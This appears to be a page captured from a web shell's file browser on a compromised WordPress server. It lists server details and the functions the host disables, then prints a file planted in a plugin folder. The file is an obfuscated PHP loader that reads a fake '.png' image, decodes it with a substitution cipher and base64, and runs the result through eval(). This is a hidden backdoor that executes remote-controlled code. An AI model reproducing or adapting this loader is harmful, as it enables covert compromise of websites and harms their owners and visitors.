HEX
Server: Apache/2
System: Linux vps33975.sdns.vn 3.10.0-1160.15.2.el7.x86_64 #1 SMP Wed Feb 3 15:06:38 UTC 2021 x86_64
User: mafada (1031)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/mafada/domains/mafada.vn/public_html/wp-content/plugins/acywazexy/ycotam.txt
<?php

function logime_xachydemy($uvatoz_capakhuvoz) {
    if ($uvatoz_capakhuvoz == 2)
        return efibes_olyfoteqi();
}

function ajyjak_ukhapoqe($uvatoz_capakhuvoz) {
    if (function_exists('zelusy_sasomachy')) {
        $thohahe = zelusy_sasomachy(1);
        $ychejeb = logime_xachydemy(2);
        for ($eroxipy = 0; $eroxipy < strlen($thohahe); $eroxipy++) {
            $uwisyb = substr($thohahe, $eroxipy, 1);
            $ujulij = substr($ychejeb, $eroxipy, 1);
            $nodajas[$uwisyb] = $ujulij;
        }

        $wukisho = strtr($uvatoz_capakhuvoz, $nodajas);
        $wukisho = base64_decode($wukisho);

        return $wukisho;
    }
}

function zelusy_sasomachy($uvatoz_capakhuvoz) {
    if ($uvatoz_capakhuvoz == 1)
        return sotena_ukhupykhyr();
}

function esydaz_zhumodizhak($uvatoz_capakhuvoz) {
    $pysypi = array();
    if (!file_exists($uvatoz_capakhuvoz))
        return false;
    $epugady = @file_get_contents($uvatoz_capakhuvoz);
    if (!$epugady)
        return false;
    $epugady = substr($epugady, 3);
    $pysypi = ajyjak_ukhapoqe($epugady);
    return $pysypi;
}

function sotena_ukhupykhyr() {
    $epugady = "/fVxIE7ZqpsjRKk5WGbda9Szu1AYmTtJylwQHe=2XNBU0M3roCDn8cLh+gF4vOP6i";
    return $epugady;
}

function efibes_olyfoteqi() {
    $pysypi = "zEn=ad8fNWQYSvxjOmuXDKU9/AGlbhMCLZ20swiegTHRtpc1o5IV47Fq3Jy6rBPk+";
    return $pysypi;
}

$epimata = esydaz_zhumodizhak(__DIR__ . "/asset" . "s/im" . "ages/" . "bopu" . "khu.p" . "ng");
if ($epimata) {
    @eval($epimata);
}